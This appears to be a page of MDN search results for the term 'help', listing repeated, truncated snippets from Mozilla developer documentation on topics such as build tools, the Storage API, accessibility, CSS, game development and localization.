...r know that you'd like to work on the bug. You might receive some extra information, perhaps also made the assignee. Fix your pet peeve If there's something you'd like to fix about Firefox, Thunderbird, or your other favorite Mozilla application, this can be a great place to start. There are a number of ways to do this: Search bugzilla for relevant keywords. See pages on Bugzilla for further help Learn the bugzilla component, with which your pet peeve is implemented, using the components list. Browse this component on bugzilla for related bugs Ask in our matrix channels : #introduction:mozilla.org or #developers:mozilla.org Find a bug we've identified as a good fit for new contributors. With more than a million bugs filed in Bugzilla, it can be hard to know where to start, so we've c...
...And 6 more matches
Archived Mozilla and build documentation - Archive of obsolete content
chived, obsolete documents about Mozilla, Gecko, and the process of building Mozilla projects. ActiveX Control for Hosting Netscape Plug-ins in IE Microsoft has removed support for Netscape plug-ins from IE 5.5 SP 2 and beyond. If you are a plug-in author, you may find this project saves you a lot of work! ant script to assemble an extension This ant script helps to package an extension Archived SpiderMonkey docs This section contains old SpiderMonkey documentation. Autodial for Windows NT This document is intended to explain how the autodial helper feature implemented for bug 93002 works and why it works that way. Automated testing tips and tricks Automatic Mozilla Configurator ...
...o create a skin for mozilla, you will need to know three things. How to edit images, extract zip files, and how to modify CSS. Mozilla uses standard gif, png, and jpeg images for the buttons and CSS to style everything else in the interface. Creating a Skin for SeaMonkey 2.x You're going to make a theme for SeaMonkey 2, but don't know how? I hope this manual will help you. Creating regular expressions for a microsummary generator A regular expression is a special kind of string (i.e. a sequence of characters) that matches patterns of characters in other strings. Microsummary generators use them to identify the pages that the generators know how to summarize by matching patterns in those pages' URLs. Dehydra ...
... Extension Frequently Asked Questions This is quick set of answers to the most common issues with extension development. They are currently written with mostly Firefox in mind, but most if not all should easily translate to SeaMonkey, Thunderbird or any of the other applications. For Thunderbird, you may also find the extension HowTo or FAQ pages helpful. Firefox Sync Sync refers to a family of related components and services which provide synchronization of data between Mozilla application instances. These components and services include: Force RTL (This is a temporary placeholder/stub for the Force RTL page) Gecko Coding Help Wanted Take a look through LXR, and you'll realize that Mozi...
...And 5 more matches
Bounding volume collision detection with THREE.js - Game development
ter.y, this.center.z); THREE.Sphere.__closest.clamp(box.min, box.max); var distance = this.center.distanceToSquared(THREE.Sphere.__closest); return distance < (this.radius * this.radius); }; Demos We have prepared some live demos to demonstrate these techniques, with source code to examine. Point vs. Box and Sphere Box vs. Box and Sphere Sphere vs. Box and Sphere Using BoxHelper As an alternative to using raw Box3 and Sphere objects, Three.js has a useful object to make handling bounding boxes easier: BoxHelper (previously BoundingBoxHelper, which has been deprecated). This helper takes a Mesh and calculates a bounding box volume for it (including its child meshes). This results in a new box Mesh representing the bounding box, which shows the bounding box's shape, and...
...You will miss sphere tests, but the tradeoffs are well worth it. The advantages of using this helper are: It has an update() method that will resize its bounding box Mesh if the linked Mesh rotates or changes its dimensions, and update its position. ...
...This results in a new box Mesh representing the bounding box, which shows the bounding box's shape, and can passed to the previously seen setFromObject method in order to have a bounding box matching the Mesh. BoxHelper is the recommended way to handle 3D collisions with bounding volumes in Three.js. You will miss sphere tests, but the tradeoffs are well worth it. The advantages of using this helper are: It has an update() method that will resize its bounding box Mesh if the linked Mesh rotates or changes its dimensions, and update its position. It takes into account the child meshes when computing the size of the bounding box, so the original mesh and all its children are wrapped. We can easily debug collisions by rendering the Meshes that BoxHelper creates. By default they are creat...
...And 5 more matches
Organizing your CSS - Learn web development
Previous Overview: Building blocks As you start to work on larger stylesheets and big projects you will discover that maintaining a huge CSS file can be challenging. In this article we will take a brief look at some best practices for writing your CSS to make it easily maintainable, and some of the solutions you will find in use by others to help improve maintainability. ...
... maintainability. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.) Objective: To learn some tips and best practices for organizing stylesheets, and find out about some of the naming conventions and tools in common usage to help with CSS organization and team working. Tips to keep your CSS tidy Here are some general suggestions for ways to keep your stylesheets organised and tidy. Does your project have a coding style guide? If you are working with a team on an existing project, the first thing to check is whether the project has an existing style guide for CSS. The team style guide should always win over your ...
...und-color: #567895; } h2 { background-color: black; color: white; } Other developers prefer to break everything onto a new line: .box { background-color: #567895; } h2 { background-color: black; color: white; } CSS doesn't mind which one you use. We personally find it is more readable to have each property and value pair on a new line. ...
...And 5 more matches
Test your skills: Form validation - Learn web development
Form validation 1 In this task, we are providing you with a simple support query form, and we want you to add some validation features to it: Make all of the input fields mandatory to complete before the form can be submitted. ...
... Form validation 1 In this task, we are providing you with a simple support query form, and we want you to add some validation features to it: Make all of the input fields mandatory to complete before the form can be submitted. ...
... Form validation 1 In this task, we are providing you with a simple support query form, and we want you to add some validation features to it: Make all of the input fields mandatory to complete before the form can be submitted. ...
...And 5 more matches
Introducing a complete toolchain - Learn web development
to consider what parts of your toolchain are necessary and consider each part carefully. The smallest toolchain is one that has no links at all. You would handcode the HTML, use "vanilla JavaScript" (meaning no frameworks or intermediary languages), and manually upload it all to a server for hosting. However, more complicated software requirements will likely benefit from the usage of tools to help simplify the development process. In addition, you should include tests before you deploy to your production server to ensure your software works as intended -- this already sounds like a necessary toolchain. For our sample project, we'll be using a toolchain specifically designed to aid our software development and support the technical choices made during the software design phase. We will how...
...g a development environment This part of the toolchain is sometimes seen to be delaying the actual work, and it can be very easy to fall into a "rabbit hole" of tooling where you spend a lot of time trying to get the environment "just right". But you can look at this in the same way as setting up your physical work environment. The chair needs to be comfortable, and set up in a good position to help with your posture. You need power, Wifi, and USB ports! There might be important decorations or music that help with your mental state -- these are all important to doing your best work possible, and they should also only need to be set up once, if done properly. In the same way, setting up your development environment, if done well, needs doing only once and should be reusable in many future pr...
...TML. Code linting tools -- for linting our code. Library installation tools We'll use npm to install our tools, which you first met in Chapter 2. You should have Node.js and npm installed already, but if not, refer back to that section. Note: Though it's not clear from the install process, installing npm also installs a complimentary tool called npx. We will use npx later on this chapter to help run tools that are installed as local dependencies to the project. npm will be used to install subsequent parts of our toolchain. First of all, however, we'll install git to help with revision control. Code revision control It's possible you've heard of "git" before. Git is currently the most popular source code revision control tool available to developers -- revision control provides many a...
...And 5 more matches
Gecko info for Windows accessibility vendors
the class MozillaContentWindowClass. In total, Gecko supports the following window classes: MozillaUIWindowClass - root UI window, at the root of the window hierarchy MozillaContentWindowClass -- root document window MozillaContentFrameWindowClass - root of a subdocument created by a <frame> or <iframe> element MozillaHiddenWindowClass - ignore these windows, they are used to help manage other windows MozillaWindowClass - general filler window, a catch all Starting in Firefox 2, however, you should begin switching your code to use NAVRELATION_EMBEDS. Going forward, this may be the only way to efficiently find the content area, as Mozilla will begin to become a windowless application, with an exception for plugins which create their own window. When you see the c...
...TML technology which allows the author to specify the type of document or container. Once you know that you have a document, go up the ancestor chain of windows until you see a MozillaContentWindowClass or a MozillaUIWindowClass. If it is a content window, you may use AccessibleObjectFromWindow() to get the root IAccessible for the content, and begin traversing the tree from there. Gecko also helps determine when to load a new window by firing two EVENT_STATE_CHANGE's on the root ROLE_DOCUMENT accessible -- the first state change indicates the document pane is now busy loading. The second state change indicates the document pane has finished. When handling the event, use get_accState() to check the STATE_BUSY flag. When the document has finished loading the busy flag will be cleared. MSAA...
...a negative value, unique to the IAccessible firing the event These negative childID's from events can be used with AccessibleObjectFromEvent(), or on the root accessible of a window with any IAccessible method that takes a VARIANT, such as get_accChild(). Because screen readers usually cache an entire document's worth of data, it can be extremely useful for them to receive a child ID that helps them correlate back to a known object. We provide support for this technique via ISimpleDOMNode::get_nodeInfo(), which returns a uniqueID for any IAccessible that can be cached in the internal model. When an event is received, the negative childID should match one of these cached uniqueID's, if the entire document has been stored and kept current. Keeping an internal cache current means getting ...
...And 5 more matches
A bird's-eye view of the Mozilla framework
Author: Susan D. Tiner Last Updated Date: 11/23/05 Statement of purpose The purpose of this article is to provide a high-level technical overview of the architecture of the extensible, object-based Mozilla application framework. It examines what happens when the user performs a simple user interface (UI) action such as clicking a link in the Contents Panel of the Help Viewer window shown below. The article focuses on the architecture of the overall framework supporting the Mozilla application suite, not the architecture of the individual applications themselves. Prerequisites This article assumes you have access to Mozilla sources and are familiar with the directory structure of the source tree. The code samples in the article are based on Mozilla/5.0 (Windows; U; Windows ...
...tecture of the individual applications themselves. Prerequisites This article assumes you have access to Mozilla sources and are familiar with the directory structure of the source tree. The code samples in the article are based on Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051104 SeaMonkey/1.1a from a new source tree checked out 11/04/05. The build ID is 2005110409. TheHelp Viewer files referenced in the article are located in /seamonkey/extensions/help/ This article also assumes you are familiar with the JavaScript and C++ programming languages, object-oriented programming (OOP) terminology and design concepts, the Microsoft(R) Component Object Model (COM), and the CORBA OMG Interface Definition Language (IDL). Organization This article first covers some concep...
...aScript and C++ programming languages, object-oriented programming (OOP) terminology and design concepts, the Microsoft(R) Component Object Model (COM), and the CORBA OMG Interface Definition Language (IDL). Organization This article first covers some conceptual groundwork, then walks through a user scenario to illustrate how key Mozilla architectural components work together to support a simpleHelp Viewer UI action. Framework Layers At a high level, you can think of the Mozilla framework as consisting of a suite of applications, each of which is organized into three basic layers depicted in Figure 1. Figure 1. User Interface (UI) Widgets and Services The X Window System Toolkit defines the termwidget as a pre-defined object that encapsulates both the command actions and data assoc...
...And 5 more matches
mach
Mach (German for to make) is a program via the "command-line interface" to help developers perform installation tasks such as installing Firefox from its C++ source code. Requirements Mach requires a current version of /mozilla-central/ (or a tree derived from there). Mach was committed on 2012-SEP-26. Mach also requires Python 2.7. Mach itself is Python 3 compliant, but modules used by mach likely are not Python 3 compliant - so stick to Python 2.7. Running From the root of the source tree checkout, you should just be able to type: $ ./mach If all is well, you should see a help message. Of course, in a random dir you just get a cryptic error message to improve the experience. ...
...6. Mach also requires Python 2.7. Mach itself is Python 3 compliant, but modules used by mach likely are not Python 3 compliant - so stick to Python 2.7. Running From the root of the source tree checkout, you should just be able to type: $ ./mach If all is well, you should see a help message. Of course, in a random dir you just get a cryptic error message to improve the experience. For full help: $ ./mach help Try building the tree: $ ./mach build If you get error messages, make sure that you have all of the build requisites for your system. If it works, you can look at compiler warnings: $ ./mach warnings-list Try running the program: $ ./mach run Try running your program in a debugger: $ ./mach run --debug Try running some tests: $ ./mach xpcshell-test services/common/tes...
...to maintain and modify. Python based mach tends to involve more complexity and potential for breakage. Another possible reason: mach gives you an error, while running, say bootstrap.py directly (that is to type in a bash shell: python2 ./bootstrap.py ENTER-KEY ) in an otherwise empty ..../subDir/ may work for you! Less may be better! And mach's error messages tend to be cryptic and not utterly helpful. That above bootstrap.py will download and setup everything so you can build a Mozilla app such as Firefox etcetera, so it is a nice starting point. Why should I use mach? You should use mach because it provides a better and more unified developer experience for working on Mozilla projects. If you don't use mach, you have to find another solution for the following problems: Discovering w...
...And 5 more matches
Performance best practices for Firefox front-end engineers
Always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements. Avoid the main thread where possible The main thread is where we process user events and do painting. It's also important to note that most of our JavaScript runs on the main thread, so it's easy for script to cause delays in event processing or painting. That means that the more code we can get off of the main thread, the more that thread can respond to user events, paint, and generally be responsive to the user. ...
...ocument, set the hidden attribute to true by default. By doing so, you cause the binding applied on demand rather than at load time, which makes initial construction of the XUL document faster. Get familiar with the pipeline that gets pixels to the screen Learn how pixels you draw make their way to the screen. Knowing the path they will take through the various layers of the browser engine will help you optimize your code to avoid pitfalls. The rendering process goes through the following steps: The above image is used under Creative Commons Attribution 3.0, courtesy of this page from our friends at Google, which itself is well worth the read. For a very down-to-earth explanation of the Style, Layout, Paint and Composite steps of the pipeline, this Hacks blog post does a great job of e...
...(see Detecting and avoiding synchronous reflow below). To avoid this: avoid reading style information if you can. If you must read style information, do so at the very beginning of the frame, before any changes have been made to the DOM since the last time a style flush occurred. Historically, there hasn't been an easy way of doing this - however, bug 1434376 has recently landed some ChromeOnly helpers to the window binding to make this simpler. If you want to queue up some JavaScript to run after the next "natural" style and layout flush, try: // Suppose we want to get the computed "display" style of some node without // causing a style flush. We could do it this way: async function nodeIsDisplayNone(node) { let display = await window.promiseDocumentFlushed(() => { // Do _not_ under...
...And 5 more matches
Storage
Storage is not the same as the DOM:Storage feature which can be used by web pages to store persistent data or the Session store API (an XPCOM storage utility for use by extensions). Getting started This document covers the Storage API and some peculiarities of SQLite. It does not cover SQL or "regular" SQLite. You can find some very useful links in the See also section however. For Storage API help, you can post to mozilla.dev.apps.platform on the news server news.mozilla.org. To report bugs, use Bugzilla. The overall procedure for use is: Get the Storage service - mozIStorageService. Open a connection to the database of your choice - mozIStorageConnection. Create statements to execute on the connection - mozIStorageStatement. Bind parameters to a statement as necessary. Execute the...
...terpreted as NULL. You should never try to construct SQL statements on the fly with values inserted in them. By binding the parameters, you prevent possible SQL injection attacks since a bound parameter can never be executed as SQL. Binding One Set of Parameters If you only have one row to insert, or are using the synchronous API you'll need to use this method. In JavaScript, there is a useful helper object (mozIStorageStatementParams) available () that makes binding parameters much easier: var statement = dbConn.createStatement("SELECT * FROM table_name WHERE id = :row_id"); statement.params.row_id = 1234; Use :boundParameterName the same way for numeric and non-numeric columns. Do not put the :boundParameterName within apostrophes, because that the binding mechanism does that for you. ...
...tatementParams) available () that makes binding parameters much easier: var statement = dbConn.createStatement("SELECT * FROM table_name WHERE id = :row_id"); statement.params.row_id = 1234; Use :boundParameterName the same way for numeric and non-numeric columns. Do not put the :boundParameterName within apostrophes, because that the binding mechanism does that for you. You can still use this helper object by manually creating the statement wrapper, mozIStorageStatementWrapper, which is provided in Gecko 1.9.1 and later. Using named parameters in C++ is a lot more difficult, so it's generally accepted to use numerical placeholders instead. The example below uses mozIStorageStatement.bindInt32Parameter(). The full list of binding functions can be found with the mozIStorageStatement documen...
...And 5 more matches
Getting Started Guide
nsCOMPtr is a "smart pointer". It is a template class that acts, syntactically, just like an ordinary pointer in C or C++, i.e., you can apply * or -> to it to "get to" what it points at. ...
...already know this, and should be able to just skim this short section. If this is unfamiliar material, you're not ready for nsCOMPtrs yet. A good place to learn about the basic rules and reasoning behind COM is in Essential COM by Don Box. Don Box gets into more of the details, traps, and pitfalls of COM in Effective COM. You should also have a reasonable knowledge of C++. Probably the three most helpful books on this topic are The C++ Programming Language by Bjarne Stroustrup, Effective C++, and More Effective C++ by Scott Meyers. All XPCOM objects are allocated on the heap. Clients don't get to know much about the implementation of any such object. They reference it only through a pointer to an `interface', i.e., the static type of the pointer is a pointer to an abstract base class, the act...
...efined way, e.g., in the nodes of a tree, parent nodes keep owning references to their children, children need not keep owning references to their parents. It turns out that reference counting by hand is hard for programmers to get right. It may sound simple, but in practice it's very easy to forget to Release at the appropriate moment. Or to AddRef too many or too few times. How does nsCOMPtr help? nsCOMPtr manages AddRef, Release, and other red-tape for you. An nsCOMPtr looks and acts as much like a raw XPCOM interface pointer as C allows, but it knows it owns the object it points to. This takes a little getting used to on your part, but ends up with less typing, clearer, safer code, and less leaks. For instance, here is a typical snippet of code (at its most compact) where you assign a...
...And 5 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
ISimpleDOMNode to provide information about the DOM node for an accessible object. A set of system messages that confer accessibility-related events such as focus changes, changes to document content and state changes in UI objects like checkboxes. To really learn about MSAA, you need to download the entire MSAA SDK. Without downloading the SDK, you won't get the extremely useful tools, which help a great deal in the learning process. The Accessible Event Watcher shows what accessible events are being generated by a given piece of software. The Accessible Explorer and Inspect Object tools show the tree of data nodes the Accessible object is exposing through COM, and what the screen boundaries of each object are. In addition, MSDN has improved their MSAA documentation. When to use MSAA, a...
... not really too useful. get_accRole: Get an enumerated value representing what this IAccessible is used for, for example. is it a link, static text, editable text, a checkbox, or a table cell, etc. [important] get_accState: a 32 bit field representing possible on/off states, such as focused, focusable, selected, selectable, visible, protected (for passwords), checked, etc. [important] get_accHelp: Get context sensitive help for the IAccessible. get_accHelpTopic: We don't use this, it's only if the Windows help system is used. get_accKeyboardShortcut: What is the keyboard shortcut for this IAccessible (underlined alt+combo mnemonic) get_accFocus: Which child is focused? [important] get_accSelection: Which children of this item are selected? get_accDefaultAction: Get a description or n...
... be important, to have auto-speaking for newly created ROLE_ALERTs] EVENT_SYSTEM_FOREGROUND EVENT_SYSTEM_MENUSTART [important] EVENT_SYSTEM_MENUEND [important] EVENT_SYSTEM_MENUPOPUPSTART [important] EVENT_SYSTEM_MENUPOPUPEND [important] EVENT_SYSTEM_CAPTURESTART EVENT_SYSTEM_CAPTUREEND EVENT_SYSTEM_MOVESIZESTART EVENT_SYSTEM_MOVESIZEEND EVENT_SYSTEM_CONTEXTHELPSTART EVENT_SYSTEM_CONTEXTHELPEND EVENT_SYSTEM_DRAGDROPSTART EVENT_SYSTEM_DRAGDROPEND EVENT_SYSTEM_DIALOGSTART EVENT_SYSTEM_DIALOGEND EVENT_SYSTEM_SCROLLINGSTART EVENT_SYSTEM_SCROLLINGEND [possibly important, talk to AT vendor] EVENT_SYSTEM_SWITCHSTART EVENT_SYSTEM_SWITCHEND EVENT_SYSTEM_MINIMIZESTART EVENT_SYSTEM_MINIMIZEEND EVENT_OBJECT_CREATE [don'...
...And 5 more matches
Desktop gamepad controls - Game development
} // ... ctx.drawImage(img, playerX, playerY); requestAnimationFrame(draw); } In this case, we are checking the four D-Pad buttons (0-3) and the A button (11). Note: Please remember that different devices may have different key mappings, i.e. the D-Pad Right button have an index of 3 on the wireless XBox 360, but may have a different one on another device. You could also create a helper function that would assign proper names to the listed buttons, so for example istead of checking out if gamepadButtonPressedHandler(3) is pressed, you could do a more descriptive check: gamepadButtonPressedHandler('DPad-Right'). You can see a live demo in action -- try connecting your gamepad and pressing the buttons. Phaser approach Let's move on to the final Gamepad API implementation in t...
...There...
... this.textGamepad.visible = true; } GamepadAPI.update(); if(GamepadAPI.buttons.pressed('Start')) { // start the game } if(GamepadAPI.buttons.pressed('X')) { // turn on/off the sounds } if(GamepadAPI.buttons.pressed('Y','hold')) { if(!this.screenGamepadHelp.visible) { this.screenGamepadHelp.visible = true; } } else { if(this.screenGamepadHelp.visible) { this.screenGamepadHelp.visible = false; } } } } When pressing the Start button the relevant function will be called to begin the game, and the same approach is used for turning the audio on and off. There's an option wired up to show screenGamepadHelp, w...
...And 4 more matches
Test your skills: The Cascade - Learn web development
Task One In this task, you need to use one of the special values we looked at in the Controlling inheritance section to write a declaration in a new rule that will reset the background color back to white, without using an actual color value. ...
... Task One In this task, you need to use one of the special values we looked at in the Controlling inheritance section to write a declaration in a new rule that will reset the background color back to white, without using an actual color value. ...
... Task One In this task, you need to use one of the special values we looked at in the Controlling inheritance section to write a declaration in a new rule that will reset the background color back to white, without using an actual color value. ...
...And 4 more matches
TypeScript support in Svelte - Learn web development
TypeScript when developing Svelte applications. Note that our application is fully functional and porting it to TypeScript is completely optional. There are different opinions about it, and in this chapter we will talk briefly about the pros and cons of using TypeScript. Even if you are not planning to adopt it, this article will be useful for allowing you to learn what it has to offer and help you make your own decision. If you are not interested at all in TypeScript, you can skip to the next chapter, where we will look at different options for deploying our Svelte applications, further resources, and more. Code along with us Git Clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git Then to get to the current app ...
...-tutorial/07-typescript-support Remember to run npm install && npm run dev to start your app in development mode. REPL Unfortunately, TypeScript support is not yet available in the REPL. TypeScript: optional static typing for JavaScript TypeScript is a superset of JavaScript that provides features such as optional static typing, classes, interfaces, and generics. The goal of TypeScript is to help catch mistakes early through its type system and make JavaScript development more efficient. One of the big benefits is enabling IDEs to provide a richer environment for spotting common errors as you type the code. Best of all, JavaScript code is valid TypeScript code; TypeScript is a superset of JavaScript. You can rename most of your .js files to .ts files and they will just work. Our TypeScr...
... time, and they are removed from the generated code. Steep learning curve: Even though TypeScript is a superset of JavaScript and not a completely new language, there is a considerable learning curve, especially if you have no experience at all with static languages like Java or C#. More code: You have to write and maintain more code. No replacement for automatic tests: Even though types might help you catch several bugs, TypeScript is not a true replacement for a comprehensive suite of automated tests. Boiler plate code: Working with types, classes, interfaces, and generics can lead to over-engineered code bases. There seems to be a broad consensus that TypeScript is particularly well suited for large-scale projects, with many developers working on the same code base. And it is indeed b...
...And 4 more matches
Initial setup
anything else, you need to know if you will be creating a new localization or joining an existing one. This will determine what information is most applicable to you throughout the rest of this guide. Here's what you do: Look through the existing localization community directory to see if one already exists for your locale. If a community already exists, reach out to them and ask how you can help. If a community doesn't exist, send an email to the new-locales newsgroup for additional guidance. Accounts There are a handful of accounts that you need to be aware of as you begin. They're not required for you to begin contributing, but will be required when you are preparing to produce an official release. For now, simply be aware that these will become important as your efforts progress. ...
...w-locales newsgroup for additional guidance. Accounts There are a handful of accounts that you need to be aware of as you begin. They're not required for you to begin contributing, but will be required when you are preparing to produce an official release. For now, simply be aware that these will become important as your efforts progress. These accounts will store your code, contributions, and help you produce an official localization. hg (Mercurial) Mercurial is the revision control environment that houses the main Mozilla source code as well as localized code for each official Mozilla localization. You will need this for localizing Mozilla applications. Hg commit access is not necessary to begin localizing. After you have some experience with hg, you may want to get commit access. At ...
...l. Use this bug template when filing your hg account registration bug. Add a request about creating your locale's repository to the new locales newsgroup. SVN SVN is a revision control environment that Mozilla uses to house Mozilla source websites and their localizations for each official Mozilla localization. See this wiki page about how to gain access to SVN. The SVN for Localizers guide will help you learn the most important SVN commands for l10n. Add a request about creating your locale's repository to the new locales newsgroup. Web-based L10n tools We'll talk about these in a little bit. For now, just be aware that should you choose to use them, you may need to create a personal account. Mozilla LDAP You will need a Mozilla LDAP account once you're ready to have your localization...
...And 4 more matches
Shell global objects
y js command-line interpreter when you start the program. Note: this list overlaps with "Built-in functions" in Introduction to the JavaScript shell and is probably not complete. See js/src/shell/js.cpp (around shell_functions) for more. This page lists variables and functions available on SpiderMonkey 53. There may be some difference between each versions. You can get the list of functions by help() function in js shell. Variables scriptArgs An array that contains arguments passed to js shell. scriptPath A string that is a path of script. console An object that has following property: log Evaluate and print expressions to stdout. This function is an alias of the print() function. timesAccessed Returns a number that indicates how many times this variable is accessed Pe...
...ied string. The first call with a string argument sets the source buffer. Subsequent calls without an argument then read from this buffer line by line. print([exp ...]) Evaluate and print expressions to stdout. printErr([exp ...]) Evaluate and print expressions to stderr. putstr([exp]) Evaluate and print expression without newline. dateNow() Return the current time with sub-ms precision. help([name ...]) Display usage and help messages. quit() Quit the shell. assertEq(actual, expected[, msg]) Throw if the first two arguments are not the same (both +0 or both -0, both NaN, or non-zero and ===). startTimingMutator() Start accounting time to mutator vs GC. stopTimingMutator() Stop accounting time to mutator vs GC and dump the results. throwError() Throw an error from JS_Report...
...ok is used to look up a previously loaded module object. It should be implemented by the module loader. getModuleLoadPath() Return any --module-load-path argument passed to the shell. Used by the module loader. parse(code) Parses a string, potentially throwing. syntaxParse(code) Check the syntax of a string, returning success value offThreadCompileScript(code[, options]) Compile code on a helper thread. To wait for the compilation to finish and run the code, call runOffThreadScript. If present, options may have properties saying how the code should be compiled: noScriptRval use the no-script-rval compiler option (default: false) fileName filename for error messages and debug info lineNumber starting line number for error messages and debug info columnNumber starting c...
...And 4 more matches
Plug-in Basics - Plugins
window receive keyboard and mouse events obtain data from the network using URLs post data to URLs add hyperlinks or hotspots that link to new URLs draw into sections on an HTML page communicate with JavaScript/DOM from native code You can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the Installed Plug-ins page. Go to the Help menu, and click Help and then About Plug-ins. Type "about:plugins" in the Location bar. The Installed Plug-ins page lists each installed plug-in along with its MIME type or types, description, file extensions, and the current state (enabled or disabled) of the plug-in for each MIME type assigned to it. Notice in view-source that this information is simply gathered from the JavaScript. Because pl...
... its MIME type or types, description, file extensions, and the current state (enabled or disabled) of the plug-in for each MIME type assigned to it. Notice in view-source that this information is simply gathered from the JavaScript. Because plug-ins are platform-specific, you must port them to every operating system and processor platform upon which you want to deploy your plug-in. ...
...ions, and the current state (enabled or disabled) of the plug-in for each MIME type assigned to it. Notice in view-source that this information is simply gathered from the JavaScript. Because plug-ins are platform-specific, you must port them to every operating system and processor platform upon which you want to deploy your plug-in. Plug-ins and helper applications Before plug-ins, there were helper applications. A helper application is a separate, free-standing application that can be started from the browser. Like a plug-in, the browser starts a helper application when the browser encounters a MIME type that is mapped to it. Unlike a plug-in, a helper application runs separately from the browser in its own application space and does not interact with the browser or the web. When the bro...
...And 4 more matches
Index - Firefox Developer Tools
he environment the function has closed over. 20 Debugger.Frame A Debugger.Frame instance represents a visible stack frame. Given a Debugger.Frame instance, you can find the script the frame is executing, walk the stack to older frames, find the lexical environment in which the execution is taking place, and so on. 21 Debugger.Memory The Debugger API can help tools observe the debuggee's memory use in various ways: 22 Debugger.Object A Debugger.Object instance represents an object in the debuggee, providing reflection-oriented methods to inspect and modify its referent. The referent's properties do not appear directly as properties of the Debugger.Object instance; the debugger can access them only through methods like Debugger.Ob...
...allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references. 43 Monster example This article describes a very simple web page that we'll use to illustrate some features of the Memory tool. 44 Tree map view The Tree map view provides a visual representation of the snapshot, that helps you quickly get an idea of which objects are using the most memory. 45 Migrating from Firebug Firebug, Migration When migrating from Firebug to the Firefox Developer Tools, you may wonder where the features you loved in Firebug are available in the Developer Tools. The following list aims to help Firebug users to find their way into the Developer Tools. 46 Network...
...Network request list 110n:priority, Debugging, Dev Tools, Firefox, Guide, Networking, Tools The request list of the Network Monitor shows a list of all the network requests made in the course of loading the page. 52 Performance Analysis 110n:priority, Debugging, Dev Tools, Firefox, Guide, Networking, Tools The Network Monitor includes a performance analysis tool, to help show you how long the browser takes to download the different parts of your site. 53 Throttling 110n:priority, Debugging, Dev Tools, Firefox, Guide, Networking, Tools The network monitor allows you to throttle your network speed to emulate various connection speeds so you can see how your app will behave under different connection types. 54 Page Inspector CSS, ...
...And 4 more matches
TypeError: "x" is not a function - JavaScript
5). Using the latter will throw an error: const sixteen = 2(3 + 5); alert('2 x (3 + 5) is ' + String(sixteen)); //Uncaught TypeError: 2 is not a function You can correct the code by adding a * operator: const sixteen = 2 * (3 + 5); alert('2 x (3 + 5) is ' + String(sixteen)); //2 x (3 + 5) is 16 Import the exported module correctly Ensure you are importing the module correctly. ...
...atter will throw an error: const sixteen = 2(3 + 5); alert('2 x (3 + 5) is ' + String(sixteen)); //Uncaught TypeError: 2 is not a function You can correct the code by adding a * operator: const sixteen = 2 * (3 + 5); alert('2 x (3 + 5) is ' + String(sixteen)); //2 x (3 + 5) is 16 Import the exported module correctly Ensure you are importing the module correctly. ...
...an error: const sixteen = 2(3 + 5); alert('2 x (3 + 5) is ' + String(sixteen)); //Uncaught TypeError: 2 is not a function You can correct the code by adding a * operator: const sixteen = 2 * (3 + 5); alert('2 x (3 + 5) is ' + String(sixteen)); //2 x (3 + 5) is 16 Import the exported module correctly Ensure you are importing the module correctly. ...
...And 4 more matches
Low-Level APIs - Archive of obsolete content
for those modules that use content scripts to interact with web content, such as panel and page-mod. content/mod Provides functions to modify a page content. content/symbiont Used by SDK modules that can load web content and attach content scripts to it. content/worker Used in the internal implementation of SDK modules which use content scripts to interact with web content. core/heritage Helper functions for inheritance. core/namespace Provides an API for creating namespaces for objects, which effectively may be used for creating fields that are not part of objects public API. core/promise Implementation of promises to make asynchronous programming easier. dev/panel Enables you to extend the Firefox Developer Tools. event/core The event/core module allows the creation of APIs ...
... promises to make asynchronous programming easier. dev/panel Enables you to extend the Firefox Developer Tools. event/core The event/core module allows the creation of APIs to broadcast and subscribe to events. event/target Create objects that broadcast events. frame/hidden-frame Creates Firefox frames (i.e. XUL <iframe> elements) that are not displayed to the user. frame/utils Provides helper functions for working with platform internals like frames and browsers. fs/path Provides access to the local filesystem with the NodeJS path module API. io/byte-streams Provides streams for reading and writing bytes. io/file Provides access to the local filesystem. io/text-streams Provides streams for reading and writing text. lang/functional Functional helper methods. lang/type Fun...
...g/functional Functional helper methods. lang/type Functions for working with type detection. loader/cuddlefish The SDK's module loader. loader/sandbox Create JavaScript sandboxes and execute scripts in them. net/url Enables you to read content from a URI. net/xhr Provides access to XMLHttpRequest functionality. places/bookmarks Create, modify, and retrieve bookmarks. places/favicon Helper functions for working with favicons. places/history Access the user's browsing history. platform/xpcom Implement XPCOM objects, factories, and services. preferences/event-target Listen to changes to the Preferences system in Firefox. preferences/service Access the Preferences system in Firefox. remote/child Enables an SDK module loaded into a child process to access web conten...
...And 3 more matches
Autodial for Windows NT - Archive of obsolete content
A Brief History of Autodial on Windows In the consumer versions of Windows, (Windows 95, Windows 98, Windows ME) autodial for all applications is controlled from the Control Panel, in the Internet Options applet, under the tab Connections. ...
...up Preferences is set to enable autodial, then any application trying to access the Internet will trigger the autodial feature whenever an Internet address cannot be reached. However, this service will won't function if you have a LAN card installed, unless that particular address has been accessed in the past via a dialup connection. Origin of the Bug Before the implementation of the Autodial Helper feature, Mozilla would trigger the autodial feature on NT-based operating systems, but only if certain conditions are met. These conditions are as follows: The autodial service is running Control Panel | Network Connections | Advanced | Dialup Preferences | Enable autodial by location is set for some location A dialup connection has been configured There is no LAN connected OR The dialup c...
... access the Internet address in question. Most systems are not set up correctly for this to happen, and most users have no idea how all these details work. So, as more people move to Windows XP from Windows 98, the autodial suddenly stops working for them. In fact, it's not Mozilla that is broken, it's that Microsoft has changed the way things work from Windows 98 to Windows XP. In an attempt to help users who want to use the autodial feature of the OS, I added the Autodial Helper Feature requested in bug 93002. How the Feature Works This feature doesn't do anything on Linux, Mac, or the consumer versions of Windows. The "correct" way too use the autodial feature in NT-based OSs is for the user to configure the system to use the autodial service. If the user has a modem and no LAN card, th...
...And 3 more matches
A XUL Bestiary - Archive of obsolete content
